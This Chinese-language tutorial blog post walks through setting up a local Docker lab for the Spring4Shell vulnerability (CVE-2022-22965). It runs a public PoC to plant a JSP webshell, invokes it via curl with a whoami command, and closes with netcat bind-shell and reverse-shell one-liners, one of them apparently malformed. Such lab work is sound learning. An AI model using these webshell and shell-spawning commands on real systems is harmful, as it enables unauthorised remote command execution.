iT邦幫忙

2022 iThome 鐵人賽

DAY 5
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 5

Day05 - 那些年,我們與黑橘大神一起追的Spring4Shell (作業1解答)

  • 分享至 

  • xImage
  •  

Yes

  • 第五天終於要開始進行第二個漏洞環境的建立,名字跟Log4Shell很像,被稱為Spring4Shell。這個漏洞有個有趣的小插曲,在POC程式發表前台灣的國際級資安研究員Orange也十分關注,甚至針對它在臉書發文。
    https://ithelp.ithome.com.tw/upload/images/20220919/20148308HFNB5AWLFn.jpg

資料來源 Orange 臉書

  • 另外在大家都等待POC的期間,也有不法分子製作含有釣魚程式的POC專案騙取下載及執行。這邊也提醒一下針對任何POC程式應該都在虛擬機中執行。/images/emoticon/emoticon16.gif
    https://ithelp.ithome.com.tw/upload/images/20220919/20148308AOchUQ500a.jpg
    資料來源 CN-SEC 中文网

  • 這個漏洞名稱也是Shell結尾,而且受到國際級資安研究員的高度關注,也因此我當時也對它抱以期待,認為應該可以掀起類似Log4Shell般的風波。但實際分析過後發現可能不如想像中的嚴重。到底是怎麼回事呢? 就讓我們先來建立一下這個漏洞的環境。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-22965
    • CVSS 3.0 分數 : 9.8 CRITICAL
    • 漏洞類型 : RCE(Remote Code Execution)
    • 使用版本資訊
      • Ubuntu: 22.04.1 LTS
      • Apache Maven 3.8.6
      • Apache Tomcat
      • SpringBoot相關套件 5.3.17
    • 漏洞先備知識 :
      • 基本HTTP及網站運作概念
      • 網站開發基本概念
      • Docker 基本命令使用
    • 漏洞收穫技能 :
      • Tomcat 專案架構
      • Java IDE 安裝及建置
      • SpringBoot 專案建置
  • SpringBoot是一種用來開發Java Web應用程式的框架(Framework),它的特色在於可以創建獨立的Spring應用程式,而且透過嵌入式的Tomcat、Jetty等來執行Web應用程式,無需打包成WAR檔案在部署到外部的Web伺服器上。

  • 參考網路上現有的資料進行環境架設,這邊則是參考了台科大飛飛社長的漏洞複現Spring4Shell: Spring Core RCE JDK 9+ CVE-2022-22965以及Github POC專案dinosn/spring-core-rce,本次建立的環境架構圖如下所示。

https://ithelp.ithome.com.tw/upload/images/20220919/20148308YCkphw1iLS.png

建立環境的流程參考如下 :

  1. docker pull vulfocus/spring-core-rce-2022-03-29:latest #拉取弱點專案映像檔
  2. docker run -p 8066:8080 --rm --name spring4shell vulfocus/spring-core-rce-2022-03-29:latest #執行弱點專案,並expose在8066 port 上面
  3. git clone https://github.com/dinosn/spring-core-rce.git
  4. sudo wireshark
  5. 選取 docker 的網路介面卡進行封包監聽
  6. python3 test.py --url http://localhost:8066 #建立webshell檔案
  7. docker exec -it spring4shell bash
  8. ps aux
  9. 切到tomcat專案目錄資料夾下
  10. 在外部執行 curl --output - "http://localhost:8066/tomcatwar.jsp?pwd=j&cmd=whoami"
  • 如此一來,Spring4shell 的環境也就建立完成了,我們也可以透過封包監聽方式取得傳送出去的payload,大致了解這個複雜payload的長相。最後我們來分析一下這漏洞的攻擊流程。首先第一個test.py攻擊完之後會再網站的根目錄之下建立一個jsp檔案,裡面似乎已經有預先寫好的payload。然後第二階段則是透過HTTP請求直接觸發webshell內容執行任意程式。

Log4j 回家作業解答 :
/images/emoticon/emoticon56.gif
最後則是針對上次影片log4j的解答部分。主要可以透過兩種方式進行shell的建立,指令分別是 :

  1. 透過 nc 建立正向 shell,nc -lvnp 1234 -e /bin/sh
  2. 透過 nmap-ncat (apk update; apk add nmap-ncat;) 建立 reverse shell,ncat -e /bin/sh ip /bin/sh

參考資料

  1. [漏洞複現] Spring4Shell: Spring Core RCE JDK 9+ CVE-2022-22965
  2. dinosn/spring-core-rce
  3. Day24 Bind Shell / Reverse Shell
  4. Analysis of Tomcat architecture principle to architecture design
  5. alpne nmap-ncat

上一篇
Day04 - 鯊鯊,你給我翻譯翻譯,甚麼是他X的Log4Shell (作業1)
下一篇
Day06 - Spring4Shell 跟 Log4Shell 建置環境差不了多少,地獄17層和16層的差別而已
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言